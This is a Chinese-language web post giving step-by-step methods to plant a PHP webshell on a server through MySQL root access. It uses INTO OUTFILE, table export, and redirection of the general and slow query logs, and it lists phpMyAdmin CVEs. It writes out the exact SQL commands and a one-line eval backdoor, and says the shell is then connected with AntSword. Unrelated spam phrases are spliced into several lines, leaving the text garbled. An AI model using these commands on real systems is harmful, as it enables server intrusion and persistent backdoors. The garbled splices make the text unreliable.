Mysql写shell的⼏种⽅式
Mysql写shell的⼏种⽅式
当我们拿到数据库权限时,可通过数据库管理⼯具写⼊shell到⽬标服务器上,利⽤shell控制⽬标服务器。
复现环境:
phpstudy_pro 8.1.0.6
mysql 5.7.26 root权限
⽹站绝对路径为D:\phpstudy_pro\WWW
正常人吃盐酸舍曲林会疯吗利⽤⽅式:
1. 通过outfile写⼊shell
尝试通过outfile写⼊⽂件
报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement 百度之后到原因:mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,限制⽆法导⼊和导出⽂件css position static
解决办法:在my.ini配置⽂件[mysqld]下添加secure_file_priv =""使其默认为空
mysql无法连接到服务器新建查询select
'<?php @eval($_POST[1]);?>' into outfile
'D:/phpstudy_pro/WWW/shell.php';,成功写⼊shell.php⽂件
2. 向表插⼊shell并查询导出
将⼀句话⽊马作为数据插⼊test1表username字段中
insert into`test1`(`username`) values ('<?php @eval($_POST[1]);?>');
人体中有多少种常量元素
查询该数据并导出到shell.php
select username from test1 into outfile 'D:/phpstudy_pro/WWW/shell.php';
3. 开启全局⽇志写⼊shell
⾸先查看全局⽇志是否开启
show variables like '%general%';
如图所⽰general_log=OFF全局⽇志未开启
开启全局⽇志
set global general_log = on;
将全局⽇志路径设置为shell⽂件路径
set global general_log_file = 'D:/phpstudy_pro/WWW/shell.php';
新建查询select'<?php @eval($_POST[1]);?>';
mysql会将执⾏的语句记录到全局⽇志,从⽽将shell写⼊⽹站⽬录
蚁剑连接成功
4. 慢查询⽇志写⼊shell
由于在mysql>5.6.34中,secure_file_priv会阻拦我们使⽤outfile写⼊⽂件,没有服务器权限⽆法修改my.ini配置⽂件,可以利⽤慢查询⽇志写⼊shell,原理和利⽤全局⽇志差不多。
⾸先⼀样查看慢查询⽇志是否开启
show variables like '%slow_query_log%';
webapp是微页面吗开启慢查询⽇志并修改⽇志⽂件的绝对路径
使⽤慢查询⽇志时,只有当查询时间超过系统时间时才会记录在⽇志中查询mysql系统时间 show global variables like '%long_query_time%';
向⽇志中写⼊shell
select'<?php @eval($_POST[1]);?>' or sleep(11);设置查询时间为11s
去哪学php8好执⾏成功
蚁剑连接成功
5. phpMyAdmin⽂件包含漏洞
CVE-2018-19968
CVE-2018-12613
CVE-2016-5734
CVE-2014-8959
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论